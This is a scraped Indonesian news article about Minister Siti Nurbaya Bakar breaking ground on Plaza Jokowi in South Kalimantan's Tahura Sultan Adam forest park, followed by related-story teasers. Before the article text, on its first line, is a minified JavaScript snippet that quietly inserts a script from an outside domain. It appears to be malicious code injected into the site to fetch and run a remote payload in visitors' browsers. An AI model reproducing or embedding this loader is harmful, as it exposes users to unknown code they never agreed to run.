(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Menteri Lingkungan Hidup dan Kehutanan (LHK) Siti Nurbaya Bakar, Selasa, meletakkan batu pertama pembangunan Plaza Jokowi di Taman Hutan Rakyat (Tahura) Sultan Adam, Kalimantan Selatan, sebagai upaya meningkatkan ekonomi rakyat di sekitar kawasan hutan.
Menurut Menteri, pembangunan Plaza Jokowi ini persis di lokasi saat Presiden Joko Widodo menanam pohon pada 2015. Pembangunan Plaza Jokowi, tambah Siti, merupakan upaya Pemprov Kalsel untuk mengefektifkan pengembangan kawasan hutan secara lestari, sekaligus pusat pertumbuhan ekonomi daerah.
“Saya telah meminta kepada seluruh jajaran kehutanan agar kawasan hutan tidak lagi sebagai kawasan tertutup,” katanya.
Menurut dia, sesuai keinginan Presiden, pembangunan kawasan hutan harus mengedepankan kepentingan masyarakat dengan tetap memperhatikan kawasan hutan adat, meningkatkan hasil hutan, dan tetap menjaga kelestarian kawasan.
Kebijakan tersebut, tambah dia, telah mampu dilaksanakan Pemerintah Provinsi Kalimantan Selatan dengan meningkatkan berbagai sarana dan prasarana kehutanan. Hasilnya, saat ini Tahura Sultan Adam tetap terjaga dengan lestari dan tetap mampu meningkatkan kesejahteraan masyarakat, hingga berkali-kali lipat.
Menurut Siti Nurbaya, pada dasarnya hutan memiliki beberapa sistem antara lain alam untuk mengatur sistem kehidupan seperti memberikan manfaat oksigen bagi kehidupan. Kemudian, juga mampu berfungsi sebagai sistem pelestarian genetik yakni sumber penghasilan, sumber informasi, dan terapi penyembuhan (healing). “Fungsi yang terakhir tersebut, kini yang sedang mulai diintensifkan, bahkan secara internasional,” katanya.
Oleh karena itu, kata dia, saat ini berkembang istilah rekreasi mandi hutan, karena memang sedang dikembangkan wisata alam di dalam hutan. “Begitu juga dengan fungsi healing, kalau mencari kesejukan, silahkan masuk hutan,” ujarnya.
Diharapkan, melalui pembangunan Plaza Jokowi tersebut, seluruh fungsi tersebut, bisa berjalan dengan lebih maksimal, baik itu fungsi untuk kelestarian dan pertumbuhan ekonomi.
Di beberapa daerah seperti Bromo, Jawa Timur, tambah dia, kegiatan-kegiatan masyarakat, juga banyak dilakukan di dalam hutan, seperti pagelaran musik jazz dan lainnya. “Nanti yang di Kalsel bagaimana, akan dicarikan pola yang tepat, tapi tidak bisa dilaksanakan dengan membabi buta, sehingga justru merusak lingkungan,” katanya.
Menurut Menteri, di beberapa daerah, sudah banyak yang memanfaatkan hutan sebagai pelaksanaan kegiatan, tinggal Kalsel dan Kalimantan Timur yang belum ada. Sebelum melakukan peletakan batu pertama pembangunan plaza, Menteri Siti meninjau budi daya madu kalulut dan pengembangan rusa sambar serta rusa tutul. (rico/dishut)
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.